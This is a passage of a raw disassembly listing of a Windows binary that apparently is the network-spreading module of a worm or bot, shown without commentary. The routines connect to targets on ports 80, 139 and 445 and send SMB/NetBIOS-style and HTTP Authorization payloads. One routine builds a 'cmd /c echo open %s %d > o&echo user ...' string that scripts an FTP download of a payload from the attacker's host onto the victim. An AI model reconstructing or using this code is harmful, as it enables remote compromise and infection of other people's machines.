		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_43268C
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_432314
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_432680
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_43267C
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_432678
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_43266C
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_432667+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_427228	; select
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB64C	; recv


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB630	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; .packed:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323A4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4323D4
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE34C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43231C
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: .packed:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4323E0
		push	[ebp+arg_0]
		call	dword_427224	; send
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43242C[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: .packed:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43D7E8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB684	; send
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4325D8
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB370
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432470
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: .packed:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: .packed:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB634	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: .packed:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: .packed:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: .packed:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: .packed:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: .packed:0040D3D6j
					; .packed:0040D449j
		push	ebx
		call	dword_4CB6CC	; closesocket
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: .packed:0040D393j
		push	3E8h
		call	dword_427078	; Sleep


loc_40D473:				; CODE XREF: .packed:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: .packed:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431AD8[eax]
		lea	eax, dword_431AD8[eax]


loc_40D4A1:				; CODE XREF: .packed:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: .packed:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; .packed:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
